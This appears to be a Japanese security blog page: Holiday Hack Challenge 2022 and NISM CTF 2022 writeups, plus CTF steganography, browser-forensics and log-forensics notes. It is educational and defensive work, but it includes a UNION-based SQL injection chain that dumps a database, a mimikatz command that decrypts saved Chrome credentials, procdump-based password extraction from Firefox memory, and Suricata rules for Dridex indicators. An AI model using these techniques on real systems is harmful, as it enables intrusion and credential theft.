はまやんはまやんはまやん

hamayanhamayan's blog

Recover the Tolkien Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [3/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Tolkien Ring

奥に怪物がいて、長蛇の列ができていた。

人が多かったので設定で他のプレイヤーを隠すと、3つのチャレンジが見えてくる。

Wireshark Practice

Difficulty: ★
Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

問題のコンソールを開こう。

This all started when I clicked on a link in my email.
Can you help me?

yesと答えてみると、問題が出てくる。

1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?

pcapファイルというのはネットワークパケットログがまとまったファイルであるが、Wiresharkというソフトで開くのが定石となっている。
開いてみるとログがたくさん記録されている。
今回はobjectを抜き出してきてほしいとのことなので、Wiresharkの機能を使おう。

のようにすると

phpファイルが添付されている!これだ!phpと答えるが先に進まない…オブジェクトのタイプ?httpと答えると正解!

2. Wt is the file name of the largest file we can export?

これはapp.phpだ!

3. What packet number starts that app.php file?

これも上の画像から分かりますね。687

4. What is the IP of the Apache server?

Apacheと通信するときにはhttpを使って通信するので、httpでフィルタリングしてみよう。

ポート80でhttpサーバーは待ち構えるので、ポート80で待っている192.185.57.242が答え。

5. What file is saved to the infected host?

app.phpを解析する必要がありそう。
先ほどのWiresharkのオブジェクトのエクスポート画面からダウンロードもできる。
エンコーディングされた部分は一旦無視して、見えている所を見るとファイル名が見える。
68行目。

saveAs(blob1, 'Ref_Sept24-2020.zip');

Ref_Sept24-2020.zipが答え。

6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to?
Submit the names of the countries in alphabetical other separeted by a commas (EX: Norway, South Korea).

Wiresharkでもう少し読み進めるとTLSの通信も記録されている。
TLSハンドシェイクのサーバー側からの応答を見てみよう。
tls.handshake.type == 2を検索ワードにしてフィルタリングしてみる。

内容を見てみるとCountryNameが書いてあるので列に適用してみよう。
あとは、使われているドメインを見ながら怪しい国名を抜き出して出してみるとIsrael, South Sudanが答えだった。
(IL -> Israel, SS -> South Sudan)

7. Is the host infected (Yes/No)?

怪しいドメインへの通信が記録されているということは、侵害が始まっているとみる方が自然であろう。

Windows Event Logs

Difficulty: ★★
Investigate the Windows event log mystery in the terminal or offline.
Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal.

問題のコンソールを開こう。

Grinchum successfully downloaded his keylogger and has gatherd the admin credentials!
We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient.
Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file.
Please help me analyze this file and answer my questions.
Ready to begin?

PowerShellの実行ログを解析してほしいとのこと。
Eric Zimmerman's toolsを使ってもいいのだが、サクッと解析するためにhayabusaを使ってみよう。
使い方は簡単で、バイナリを持ってきて.\hayabusa-1.8.1-win-x64.exe -f powershell.evtx -o out.csvとやるだけ。

1. What month/day/year did the attack take place? For example, 09/05/2021.

ログを眺めてログが増えてそうな日を探すと14,24日にログが多い。
12/24/2022を出すと正当だった。
14日はCommandInvocation(Set-StrictMode): "Set-StrictMode" ParameterBinding(Set-StrictMode): name="Version"; value="1.0"というのが大量発生していた。

2. An attacker got a secret from a file. What was the original file's name?

24日でgrepしておく。コマンドの実行履歴を見たいので、EventIDの4104で探していこう。
hayabusaの出力結果を使うならcat powershell.csv | grep 2022-12-24 | grep 4104 | grep ScriptBlockTextみたいにして見てみるといい。
いい感じに整形して見やすくするのがおすすめだが、自分はそれほど量がなかったので、イベントビューワーでここからは見てみることにした。
powershell.evtxをダブルクリックで開いてイベントビューワーで以下のようにフィルタリングして見てみる。

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
このようなコマンドがあってRecipeというのをGet-Contentで取得して色々しているので、original fileはRecipeが答え。

3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker.
This was done multiple times. Submit the last full PowerShell line that performed only these actions.

変数に代入している所を見つける。EventIDの4104でフィルタリングして眺めると代入しているものがあり、それが答え。
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

4. After storing the altered file contets into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file.
This was done multiple times. Submit the last full PowerShell line that performed only this action.

書き込んでいる所を見つける。EventIDの4104でフィルタリングして眺めるとAdd-Contentで書き出している部分があり、それが答え。
$foo | Add-Content -Path 'Recipe'

5. The attacker ran the previous command against one file multiple times. What is the name of this file?

上にあるRecipeが答えかなーと思ったが違う。
もうちょっとさかのぼってみてみると、$foo | Add-Content -Path 'Recipe.txt'というのが見つかる。
Recipe.txtが答え。

6. Were any files deleted? (Yes/No)

同じく、EventIDの4104で探していくと以下のようなコマンドが見つかるのでYes

del .\Recipe.txt
del .\recipe_updated.txt

7. Was the original file (from question 2) deleted? (Yes/No)

2の答えはRecipeなので、それを消すコマンドがないかどうかを探すが、特に見つからなかったので、No.

8. What is the Event ID of the logs that show the actual command lines the attacker typed and ran?

今まで見ていた4104が答え。

9. Is the secret ingredient compromised (Yes/No)?

何やら変換が施されていたのでcompromiseされてはいそう。Yesで正解。

10. What is the secret ingredient?

$foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
こんな感じに変換されているので、'honey'が'fish oil'に変換されているので変換元がsecret ingredientだろうと予想。
honeyを答えると正解。

Suricata Regatta

Difficulty: ★★★
Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints.

問題のコンソールを開こう。

First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.
Add your rule to suricata.rules

なるほど。suricata.rulesを覗くと、dnsのクエリがあるので、参考にして書き換える。

alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1; rev:1;)

./rule_checkerを動かすと応答が変わる。次に進めたみたいだ。

STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242.
Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection
For the second indicator, we flagged 0 packet(s), but we expected 681. Please try again!

与えられているpcapファイルを見ながら要件を確認する。
ip.src==192.185.57.242 || ip.dst==192.185.57.242とすると685パケットになった。微妙に数が違うが、多分これで合ってるだろう。

alert http 192.185.57.242 any <> any any (msg:"Investigate suspicious connections, possible Dridex infection";sid:2;)

色々やっていると以上で突破できた。

We heard that some naughty actors are using TLS certificates with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection
For the third indicator, we flagged 0 packet(s), but we expected 1. Please try again!

TLSでひっかけてくればよさそう。

alert tls any any <> any any (msg:"Investigate bad certificates, possible Dridex infection";content:"heardbellith.Icanwepeh.nagoya";sid:3;)

適当に以上のようにやると突破できた。

Let's watch for one line from the JavaScript: let byteCharacters = atob
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection
For the fourth indicator, we flagged 0 packet(s), but we expected 1. Please try again!

httpかな?
ひっかけてくるのは難しくなさそうだが、GZip compressedという部分を解決する必要があるか。

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection";file_data;content:"let byteCharacters = atob";sid:4;)

file_dataをつけるとGZip compressedも解除してくれるみたい。
これでOK.

全問正解すると…

怪物が消えている…
どこへ行ったんだろうか…

無事、リングが獲得できたので、先に進もう。

 
 
 

次 -> Recover the Elfen Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [4/8] - はまやんはまやんはまやん

KringleCon Orientation - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [2/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

KringleCon Orientation

最初はここから始まる。
最初の画面を取り忘れたので、ドアが開いているが、最初は開いていない。
さて、課題に取り組んでいこう。

Talk to Jingle Ringford

Difficulty: ★
Jingle Ringford will start you on your journey!

Jingle Ringfordと会話をしながら、この世界のことを教えてもらおう。

Get your badge

Difficulty: ★
Pick up your badge

これもJingle Ringfordと会話をしていればクリアできる。

Create a wallet

Difficulty: ★
Create a crypto wallet

この世界には独自通貨がある。
その通貨を扱うための自分のwalletを作成しよう。
暗号鍵は忘れてはいけない。(絶対ですよ!)

Use the terminal

Difficulty: ★
Click the computer terminal

ターミナルがキラキラ光って呼んでいる。

上のコンソールにanswerと入力してEnterを押せば次のステージへの扉が開く。

ここからが本番だ!

サンタとの出会い

新しい地に行くとサンタがお出迎えしてくれたが、何やら困っているようだ。
話を聞いてあげるとプレゼントではなく、ミッションがもらえる。
まあ、まだクリスマスじゃないしね。

ここはThe North Poleという場所らしい。
次の所に進むには5つのリングが必要とのことで、Objectivesを見てみるとミッションが追加されていた。

ロードオブザリング
ミッションに進む前にこの地を探索してみる。

左側:企業ブース

今年のGoogleといえばHACKING GOOGLEが素敵な映像でしたね。
今年もありがとう。Google
https://www.youtube.com/watch?v=aOGFY1R4QQ4

今年のSANSといえば、自分は@yamatosecurityさんが印象的でした。
自分の職務は社内セキュリティなので、イベントログをうまく扱う、しかも、国内プロジェクトということでむちゃくちゃ注目していました。
https://www.sans-japan.jp/sans_instructor_zachary_mathis

Cyberusくん。

上のNETWARSは実は入れて、以下のような感じになってました。

1回だけ似たようなもの(NETWARSだったのかも)をやったことがありますが、とても楽しかったですね。

左側の城の後ろ

NETWARSの右部分から城の後ろに入ることができる。

バグっぽいスペース。イースターエッグだと思う。

First, you'll need to find Yukon Cornelius, and help him track down what he calls a Bumble.
Take a tooth from the Bumble an carry it deep into the Misty Mountains, and trade it with Gwairhair, Windlord of the Great Eagles, for one o his feathers.
If Gwairhair is reluctant to trade, tell him that I have sent you.
With that feather, you must scale the walls of Sombertown, and find the home of Burgermeister Meisterburger.
Take the feather, and tickle Burgermeister Meisterburger, so that he may laugh and feel joy!
Once he feels joy, he'll happily give you safe passage to the Isle of Misfit Toys...
There, you must find Dolly, and tell her that a horrible mistake has been made and she's perfectly fine...
Noy a misfit at all...
Thus, having set right one of the greatest wrongs of the Christmas season, you will have proved yourself worthy!
Then, if you come back here, I will tell you...
...that your key is
0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Write it down, NOW, mmmmmkay?

不満げな顔のサンタが最終的にウォレットの秘密鍵を教えてくれる。
秘密鍵は二度と手に入らないと思っていたが、ここで再取得可能なようだ。

右側:試練へと続く道

右側にもいろいろな穴があるが入れるのは1つだけ。
ここに入ると、いよいよ試練のステージに進む。

地下に続いている。

お。部屋がある。

https://www.youtube.com/playlist?list=PLjLd1hNA7YVy9Xd1pRtE_TKWdzsnkHcqQ
以上のプレイリストにもあるセッションが公開されている。
ちなみに、メニューのTalksからも見られる。
結構たくさんあるので、あとで見よう…

奥まで行くと宝箱が!

他には何もなさそう。戻ろう。
道中に怪しい空間があるので探すと以下のように階段の途中で左に行くと宝箱がある。

ok.
進むと、別の部屋が見つかる。

Tolkien Ring! 最初のリングが見つかった。 攻略していこう。

 
 
 

次 -> Recover the Tolkien Ring [3/8] - Holiday Hack Challenge 2022 Writeup by hamayanhamayan - はまやんはまやんはまやん

トップ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [1/9]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj

 
 
 
 

SANSが主催している、毎年クリスマスシーズンに開催されるチャレンジに今年初参加しました。
参加してない方のために、キホンを説明しますね。

今年のHoliday Hack Challengeは?

不思議な世界に招待される。
自分のアバターを操作して、世界を探索、そこで見つかる課題を解決していこう。

課題は人に話しかけると発見したり、ターミナルがあるので、ターミナルを操作すると見つかる。
課題によってはターミナルがなく、メニューから問題を見たり回答したりするものもあるので注意。

今年は、課題をクリアして5つのリングを手に入れる事をお願いされる。

手に入れた後に待つものとはいかに。

KringleCoinsというゲーム内通貨

最初にゲーム内通貨のアドレスと秘密鍵がもらえる。アドレスは最初の土地でいつでも確認できるが、
秘密鍵は忘れてしまうと再取得できないらしいので大事に保管しておこう。
(…が、実は秘密鍵を再取得する方法が隠されています)

ゲーム内通貨は、問題をクリアしたり、宝箱を開けたりすると手に入る。
とある場所でゲーム内通貨を使って帽子を買うこともできますが、一部問題で使う必要があるので、使いすぎには注意。
(詰むことあるのかな?わからない)

『Hint』

この世界には自分以外にたくさんのNPCがいる。
彼らに話しかけると課題を解くためのヒントがもらえたりするので積極的に話しかけよう。

Hintはそれ以外にも宝箱からも取得できる。
宝箱は隠し通路の先に隠されているので壁がちょっとおかしいと感じたら突撃してみよう。

Objective

参考までにObjective一覧を上げておく。
KringleCon Orientationチュートリアルなので、Ring系からが本番。

グループ 課題名 難易度
KringleCon Orientation Talk to Jingle Ringford
KringleCon Orientation Get your badge
KringleCon Orientation Create a wallet
KringleCon Orientation Use the terminal
KringleCon Orientation Talk to Santa
Recover the Tolkien Ring Wireshark Practice
Recover the Tolkien Ring Windows Event Logs ★★
Recover the Tolkien Ring Suricata Regatta ★★★
Recover the Elfen Ring Clone with a Difference
Recover the Elfen Ring Prison Escape ★★★
Recover the Elfen Ring Jolly CI/CD ★★★★★
Recover the Web Ring Naughty IP
Recover the Web Ring Credential Mining
Recover the Web Ring 404 FTW
Recover the Web Ring IMDS, XXE, and Other Abbreviations ★★
Recover the Web Ring Open Boria Mine Door ★★★
Recover the Web Ring Glamtariel's Fountain ★★★★★
Recover the Cloud Ring AWS CLI Intro
Recover the Cloud Ring Trufflehog Search ★★
Recover the Cloud Ring Exploitation via AWS CLI ★★★
Recover the Burning Ring of Fire Buy a Hat ★★
Recover the Burning Ring of Fire Blockchain Divination ★★★★
Recover the Burning Ring of Fire Exploit a Smart Contract ★★★★★

章立て

以下のような章立てで解説をしていく。
ここからはネタバレが多く含まれるので注意。

  1. イマココ トップ
  2. KringleCon Orientation
  3. Recover the Tolkien Ring
  4. Recover the Elfen Ring
  5. Recover the Web Ring
  6. Recover the Cloud Ring
  7. Recover the Burning Ring of Fire
  8. フィナーレへ

NISM CTF (2022) Writeups

[Forensics] Lost USB memory

fileコマンドでどういうものか見てみよう。

$ file problem.bin problem.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 2, reserved sectors 6334, Media descriptor 0xf8, sectors/track 63, heads 255, sectors 245760 (volumes > 32 MB), FAT (32 bit), sectors/FAT 929, serial number 0x70d02f45, unlabeled

MBRとか書いてあるのでディスクイメージっぽい。USBのイメージを丸々持ってきたものかな。
FTK Imagerで開いてみると、消されていたファイルも見えてきた。
!flag.pdfを見みるとフラグがある。

[Forensics] Hidden files

foremost -v [file]をしてみると隠し画像が見つかる。
どれもフラグが書いてあるのでくっつけると答え。

[Forensics] A file is opening

名前から、メモリダンプっぽいのでvolatility3で解析してみる。
ファイル名からwin10っぽいので、windowsという仮定を置いて解析。
「とあるプログラムが重要なファイルを開いているみたい...」とのことなので、まずは「とあるプログラム」を特定する。

python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.pstreeを見てみよう。

Volatility 3 Framework 2.4.1

PID PPID    ImageFileName   Offset(V)   Threads Handles SessionId   Wow64   CreateTime  ExitTime

4   0   System  0x8636e640  139 -   N/A False   2022-07-15 23:04:19.000000  N/A
* 72    4   Registry    0x87e32640  4   -   N/A False   2022-07-15 23:04:07.000000  N/A
* 348   4   smss.exe    0x8f01a640  2   -   N/A False   2022-07-15 23:04:19.000000  N/A
* 1400  4   MemCompression  0x92bb3300  26  -   N/A False   2022-07-15 23:04:40.000000  N/A
540 524 csrss.exe   0x8f022540  11  -   1   False   2022-07-15 23:04:38.000000  N/A
600 524 winlogon.exe    0x92a3c040  4   -   1   False   2022-07-15 23:04:38.000000  N/A
* 792   600 fontdrvhost.ex  0x8f70b040  5   -   1   False   2022-07-15 23:04:39.000000  N/A
* 3568  600 userinit.exe    0xa0c1d840  0   -   1   False   2022-07-15 23:04:53.000000  2022-07-15 23:05:23.000000 
** 3652 3568    explorer.exe    0x9f854040  78  -   1   False   2022-07-15 23:04:53.000000  N/A
*** 5288    3652    vmtoolsd.exe    0xa0da7040  6   -   1   False   2022-07-15 23:05:30.000000  N/A
*** 5656    3652    cmd.exe 0xa5a02640  2   -   1   False   2022-07-15 23:05:38.000000  N/A
**** 4656   5656    notepad.exe 0x9f8477c0  5   -   1   False   2022-07-15 23:06:27.000000  N/A
**** 5676   5656    conhost.exe 0xa5a07040  5   -   1   False   2022-07-15 23:05:38.000000  N/A
*** 5332    3652    OneDrive.exe    0xa6c32640  16  -   1   False   2022-07-15 23:05:31.000000  N/A
*** 5196    3652    SecurityHealth  0xa6c24680  7   -   1   False   2022-07-15 23:05:29.000000  N/A
* 936   600 dwm.exe 0x92ac5680  17  -   1   False   2022-07-15 23:04:39.000000  N/A

んー、ファイルを開くといえば、notepad.exeか。
pidは4656なので、python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP dumpfiles --pid=4656で関連ファイルをdumpしてみる…が何もない。

他を見てみるとcmdlineの方で有用な情報が出ていた。
python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.cmdline

...
5676    conhost.exe \??\C:\Windows\system32\conhost.exe 0x4
4656    notepad.exe C:\Windows\system32\notepad.exe  C:\Users\Koito_Yuu\Desktop\flag\base64\TklTTXtNM20wcnlfZHVtcF90Mzc3X3U1XzV0NHQzXzBmX3RoM19QQ18xbl90aDNfbTBtM250fQ==
3744    sppsvc.exe  C:\Windows\system32\sppsvc.exe
4320    svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

ファイル名をbase64デコードすればフラグ。

[Forensics] Find Reg Value 解けず

レジストリにインストール日時が記録されているのでとって来る。
以下が参考になる。
https://for0n6x.hatenablog.com/entry/2018/06/03/222547

この情報をもとにVolatilityで探ったがレジストリの値が出てこない…
レジストリハイブをちゃんと羅列してきて、指定すれば取ってこれたみたい。
うーん、反省。

[Web] 超、易問!

?color=ほにゃららで色が変更できる。
NISMのテーマカラーということで、トップページのロゴを見てみると水色が目に入る。
色々それっぽい色名で試すと?color=blueでフラグが出てきた。

[Web] frog, frog, frog

作品を変えて青空文庫にある作品を閲覧できるサイト。
作品を変えるときにPOSTでIDっぽいものをつけている。
こういう系はLFIを狙うのが定石なので、とりあえず色々試す。
…がいまいち刺さらない。途中でuser=guestという怪しいcookieがあるが、特に何もできそうにない。

1つ目のヒントは無料っぽいので見てみる。

本当に全部カエルの作品だろうか?

ほう…
あたらめて見返すと、ページ上部の表にThe flag hidingというのがある!
なるほど。カラムにはないが、1980s: The flag hidingが読めればよさそう。
他の様式を参考にPOST /に対してcontents=1980s%2FThe+flag+hidingを送信すれば内容が見られる。
だが、フラグはまだのようだ。

ChromeのDevToolsのElementsで適当に探索していると、<div id="hidden"><br></div>部分に::afterがついていることに気が付く。
たどるとcssの方にフラグが書いてあり、これが正解。
つまり、最初からフラグは手元にあった訳だ。
面白いフラグの置き方。

[Web] お米食べろ

検索機能付きで統計が見られるサイト。
検索機能くらいしか攻撃点がなさそうなので、SQL Injectionを試す。
長_とすると長野と長崎が出てきたのでLIKE文感がある。
シングルクオーテーションを含めると''%'order by ha DESC'というのが出てくる。 x' union select 1,2,3 #としてみると、1,2,3が出てくる。OK.
以下のように色々探索してフラグを探すとある。

x' union select GROUP_CONCAT(distinct TABLE_SCHEMA),2,3 FROM INFORMATION_SCHEMA.TABLES #
-> flags,information_schema,japan

x' union select GROUP_CONCAT(distinct table_name),2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='flags' #
-> flags

x' union select GROUP_CONCAT(distinct column_name),2,3 FROM INFORMATION_SCHEMA.columns WHERE table_name='flags' #
-> flag,id

x' union select flag,id,3 from flags.flags #
-> フラグっぽいのがたくさん

色々出てくるがNISM{...}のものが1つあるので答え。

[NetWork] Electrical talk

pcapファイルを開いてみるとICMPの応答失敗がたくさん目に付く。
1台は応答が来ているはずなので、いい感じにフィルタリングしていく。

最初は2288パケット。
まずは、エラーになっているものを取り除こう icmp.type != 3
これで759パケット。
あとは応答があるものが見たいので、ソースが発信元っぽい192.168.100.2であるものを取り除く。
(icmp.type != 3) && (ip.src != 192.168.100.2)
3パケット。いい感じ。
これでIPがわかるのでホスト名を引いてきて答える。

[NetWork] Insecure communications

大量にリクエストがあるのでhttpでフィルタリングして眺めようとしたが…まだ多い。
「クレデンシャルを見つけて」ということなので、POSTの通信を探すと、

21640    611.352067  192.168.0.98    192.168.0.25    HTTP    850     POST /cgi-bin/mail-maga-auth.py HTTP/1.1  (application/x-www-form-urlencoded)

というのが見つかる。
http.request.method == "POST"でフィルタリングしてみると13パケット出てくる。
POSTのbodyについて「列として適用」を使って一覧に表示してみると、ユーザー名は固定でパスワードが色々ある。
最後の試行で成功しているだろうと推測してクレデンシャルをメモっておく。
最後の施行のパケットを右クリックして、「追跡」、「TCPストリーム」をして、どこに入力しているかを特定する。

すると、POSTの直前でhttp://electronic.tuda-organization.siebold-cyber.net/magazine.htmlにつないでいるのがわかるので、
行ってみるとクレデンシャルを入力する画面が出てくる。
先ほどメモったクレデンシャルmu05201914:zaCra-a4a_l9@kU3-8gを使うとフラグが手に入る。

[NetWork] Where am I?

192.168.1.93で/28を考えればいいが、cyberchefでいい感じに見れる

https://gchq.github.io/CyberChef/#recipe=Group_IP_addresses('Line%20feed',28,false)&input=MTkyLjE2OC4xLjkz

あとは様式通りのフォーマットで答えれば正解。

[Misc] カラーコード

CyberChefにそれっぽいの無いかなーと思ったらあった。こんなのあるのね。
https://gchq.github.io/CyberChef/#recipe=Parse_colour_code()&input=cmdiKDAsMTUzLDIwNCk
hex部分が答えのもの。

[Misc] 奇妙な文字列

よくわからないエンコード物に対する手法の1つとしてCyberChefのmagicがある。
試すとbase64-encodedだと教えてくれる。

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')&input=VGtsVFRYdGlRSE5sTmpSZll6UnVYMkl6WDJWaE5Xa3hlVjlrWldNd1pHVmtmUT09

CTFにおけるステガノグラフィ入門とまとめ

この記事はCTF Advent Calendar 2022の14日目の記事です。
昨日はCTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやんでした。殴り書きですみません。

初めに

本記事では、CTFでステガノグラフィ(steganography)と言われる分野についてまとめる。
ステガノグラフィは知っているだけで解けるような問題も多くあるので、備忘も兼ねてまとめておく。

注意事項

CTFにおけるステガノグラフィ問題

Wikiを参照すると、「情報隠蔽技術の一つであり、情報を他の情報に埋め込む技術」とある。
CTFにおいては、隠蔽される情報はフラグか問題を進展させるものであり、埋め込み先は多彩である。

CpawCTF-Steganography - Speaker Deck
↑の記事が最強。とても分かりやすいし、初学者が読むのに最適。説明も丁寧。
初学者はこちらのスライドを一通り読んでから戻ってくることを勧めます。(戻ってくる必要もないかも)

ステガノグラフィに対して他の問題と大きく異なるのが、競技者不利の状況である。
他のジャンルの問題は机上におおよそ解くために必要な情報は揃っているが、
ステガノグラフィは「どういった情報」が「どういった方法」で埋め込まれているかを推測以外にほとんど知る術がない。
…いや、ちょっと強い表現かも。(推測以外にもエントロピーを確認したりとか、暗号学的なアプローチから推測は可能かもしれません。)
さておき、こういった状況があるので問題文にヒントを入れたりすることで多少なりともロジカルに解ける可能性を残していたりする。
そういった情報やググって出てきた手法、試行錯誤によって埋め込まれた情報を取り出してくる。

解き方/初学者に向けて

ステガノグラフィは全部アドホックな解法なので何とも言えないが、今までやってきた感じ、傾向が無くもないので気が付いた所をつらつらと書いていく。

  • まず、File Carvingやstringsなど、どんなファイルでも汎用的に行うチェックはあるので、それを実施しよう
  • 各ファイルフォーマットに対して使えるステガノグラフィ手法が異なるので、一通り試す
    • 適当に調べて出てきた手法を試す。Writeupで見つけたんだけど試さなかったが死ぬほど心当たりある
  • 冷静になる。難しく考えすぎないこと
    • 手元にある方法でダメだったら、もうやりようはないのでググって新しいステガノグラフィ手法を探しにいくか、あきらめて寝る
  • 比較的グループ化できる隠蔽方針
    • LSB, Least Significant Bit
      • データの最下位のビットに01で情報を埋め込んでいく手法。特に画像では画素情報の最下位ビットが変化しても見た目上は変化がないので見た目では自然に見える。ただ、最下位ビットだけを抽出して見てみると、元の画像のエントロピーとは異なる感じに見えてくるので怪しいみたいなことがあったりする(説明下手)
    • 2つの全く同じように見えるファイルに対する差分を利用
      • 元画像を何かしらの方法で探してきて差分比較するようなパターンも見たことある
    • 特殊なエンコーディング
      • この辺りは自分であれこれ考えてもしょうがないので、ステガノグラフィの各種ソルバーを順番に回していって成功するまで頑張るしかない
    • フォーマットの構造上余っている部分にデータを置く
      • File Carvingで拾ってこれる可能性もあるが、こういった可能性もある。ややフォレンジック問に近いかもしれない

サブジャンル

サブジャンルについて、キーワード形式でまとめていきます。 学習の参考にしてください。

ファイルに対して汎用的に行える操作

とりあえずバイナリファイルに対してできることをあれこれやってみるのがいい。 フォレンジックでやるようなこともやってみると思わぬ情報が手に入るかも。

  • file
    • 拡張子が偽装されている可能性もあるので、とりあえずfileコマンドでファイルの種類を特定する
  • File Carving
    • とあるファイルに対して別のファイルが素直に埋め込まれている場合は、File Carvingを使って埋め込みファイルを取り出すことができるかもしれない。 -> forensicのページ
  • バイナリエディタテキストエディタで眺める
  • XOR暗号化されてる箇所あるかも

テキストファイルに対するステガノグラフィ

画像ファイルに対するステガノグラフィ

動画ファイルに対するステガノグラフィ

音声ファイルに対するステガノグラフィ

資料,未整理リンク

CTFアドカレの明日は?

明日はkanonさんの「初心者がCTF始めるためにはどうすればいいのか(個人的偏見)」です。
cryptoのWriteupを多く書いていて、いつも参考にさせてもらっています!圧倒的感謝

CTFのフォレンジックにおけるブラウザフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ブラウザフォレンジック

IE

  • Internet Explorer
    • IE 8-11 (Windows7) C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥Temporary Internet Files¥Content.IE5
    • IE 11(Windows8 以降) C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥INetCache

Chrome

  • ログ
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥Cache
  • 保存されている認証情報
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥Login DataをDB Browser for SQLiteで開いて確認
    • nirsoftにも解析ツールはあるが、パスワードが暗号化されていると見れなくなる
    • パスワードが暗号化されている場合はDPAPIが使われている
      • mimikatzを起動してdpapi::chrome /in:"C:\Users\eric\Downloads\Seized\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:138f089556f32b87e53c5337c47f5f34746162db7fe9ef47f13a92c74897bf67e890bcf9c6a1d1f4cc5454f13fcecc1f9f910afb8e2441d8d3dbc3997794c630みたいに復号
        • 副産物にAESキーが得られる
        • Local Stateというファイルも持っている場合は、追加でstate:"Local Stateへのパス"を追加すると別の情報が得られるかも

FireFox

  • Firefox 32.0以降
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Mozilla¥Firefox¥Profiles ¥【プロファイル名】.default¥cache2
    • Firefoxは、一時ファイル(キャッシュ)としてダウンロードしたファイルの末尾に、HTTPリクエスト/レスポンスの情報を追記する。バイナリエディタで確認することで、ダウンロード元URLを特定することが可能
  • .mozillafirefoxの情報が入ってる
    • firefoxの履歴情報はplaces.sqliteに入っているから、これを覗けば中身が見られる
    • Ubuntu 22だと~/snap/firefox/common/.mozilla/firefox/にプロファイルがおいてあるかも
  • メモリから認証情報が抜けるかも
    • psでPIDを手に入れてprocdump64.exeを被害者環境に入れて.\procdump64.exe -accepteula -ma [PID]で持ってくる。
    • stringsで文字列を探してgrep passwordで認証情報っぽいもが無いか探してみよう
  • 解析ツール

CTFのフォレンジックにおけるログフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ログフォレンジック

  • かなりざっくりした分野定義であるが、とあるログに対して解析をするジャンル
    • ログの対象に対する理解、どのようなログがどこに残るか
    • ログを収集するアプリケーションの使い方を理解しているか
  • どんなログを対象とする?
    • syslogとか、/var/log配下を読む
    • Windowsイベントログ
    • Apacheアクセスログ
    • IISのアクティブログなど
    • 認証ログとか、EDRのログとか、WAFのログとか、ほんとに色々。全部。
  • どういうスキルが必要?
    • ググって理解する能力
      • 初めて見るログや内容も出てくると思う。頑張ってググる
    • 背景知識を知ってるか
      • 有名な脆弱性ペイロードだったり、Webの攻撃手法とか、ネットワークの攻撃手法を知っているとログが読みやすいかもしれない
    • シェル芸に長けていると解析しやすいかも
      • 大量のログデータが与えられることもあるので、grepするとか、ワンライナーでさっと統計情報を取れるようになっているといい
    • ログを扱うデータベースをうまく扱うことができるか、クエリ検索できるか
      • Elasticsearch、SplunkでSPLとか
    • grep
  • snortルール: EDR向けの検知ルール記法。CTFで見たことはないけど